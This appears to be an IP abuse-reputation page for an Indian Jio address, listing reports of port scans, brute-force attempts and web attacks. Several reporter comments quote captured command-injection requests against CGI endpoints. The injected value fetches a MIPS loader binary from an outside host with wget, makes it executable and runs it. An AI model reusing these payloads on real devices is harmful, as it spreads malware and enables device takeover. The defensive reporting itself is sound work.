115.243.248.242

Neutral Activity There is no recent abuse activity, or the IP address is whitelisted.
Abuse Confidence Score
0% Low Risk
45 reports
27 reporters · latest 1 month ago
ISP
Reliance Jio Infocomm Limited
Usage Type
Fixed Line ISP
ASN
AS55836
Domain Name
jio.com
Country
🇮🇳 India
City
Delhi, Delhi
Log in to view charts and search reports for this IP. Log In
Example preview
Account required for the enhanced features Log in Sign up

Abuse Reports

Total reports
45 from 27 distinct reporters
First reported
Most recent report
Last 60 days
Top reporter locations 🇮🇪 Ireland 1
Most common categories Hacking 1
Old reports The most recent abuse report for this IP address is from . It is possible that this IP is no longer involved in abusive activities.
Reporter IoA Timestamp (UTC) Comment Categories
🇮🇪 RoboSOC
React Server Components Remote Code Execution Vulnerability, PTR: PTR record not found
Hacking
🇮🇪 RoboSOC
React Server Components Remote Code Execution Vulnerability, PTR: PTR record not found
Hacking
Anonymous
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)
Hacking
🇫🇮 geot
GET /cgibin/mainfunction.cgi&action=login&keyPath=wget+http%3A%2F%2F161.97.148.<<removed>>%2Fnullnet_bin_dir%2Fnullnet_load.mips+%3B+chmod+777+nullnet_load.mips+%3B+sh+nullnet_load.mips&loginUser=a&loginPwd=a HTTP/1.1
Hacking Web App Attack
🇵🇱 UMP-PL
Webserver scan (backups, phpadmin, etc.)
Web App Attack
🇺🇸 donarev419
Connection to port 80 with data transfer. Data preview: GET /cgibin/mainfunction.cgi&action=login&keyPath=wget+http%3A%2F%2F161.97.148.194%2Fnullnet_bin_dir
Port Scan Hacking
🇨🇿 Countryman
repeated unauthorized SSL VPN connection attempts
DDoS Attack Hacking Brute-Force
🇨🇿 Countryman
repeated unauthorized SSL VPN connection attempts
DDoS Attack Hacking Brute-Force
🇯🇵 VXG-NET
port=80, indicator_type=info-leak
Hacking
🇺🇸 jfz-abuse
fail2ban: apache-filepath-recon ...
Web App Attack
🇺🇸 MPL
tcp/80
Port Scan
🇺🇸 NXTwoThou
/cgi-bin/operator/servetest%3Fcmd=ntp%26ServerName=%24%28wget%20http%3A%2F%2F161.97.148.194%2Fnullnet_bin_dir%2Fnullnet_load.mips%3B%20chmod%20%2Bx%20nullnet_load.mips%3B%20.%2Fnullnet_load.mips%29%26TimeZone=01:00
Web App Attack
🇹🇷 rtbh.com.tr
list.rtbh.com.tr report: tcp/23
Brute-Force
🇺🇸 MPL
tcp/23
Port Scan
🇹🇷 rtbh.com.tr
list.rtbh.com.tr report: tcp/23
Brute-Force

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇩🇪 159.223.16.222
🇺🇸 70.173.55.216
🇺🇸 34.225.24.180
🇲🇽 187.190.24.163
🇧🇾 178.120.59.192
🇸🇬 157.230.41.215
🇳🇱 104.248.194.148
🇪🇸 62.106.67.233
🇺🇸 48.216.219.62
🇳🇱 35.214.218.110
🇻🇳 27.79.45.215
🇬🇧 139.59.189.95
🇨🇳 121.10.252.100
🇨🇳 114.252.188.66
🇧🇩 103.153.130.77
🇮🇩 103.31.233.165
🇺🇦 86.111.79.47
🇺🇸 73.54.208.84
🇸🇬 43.128.93.250
🇳🇱 34.13.140.245
feedback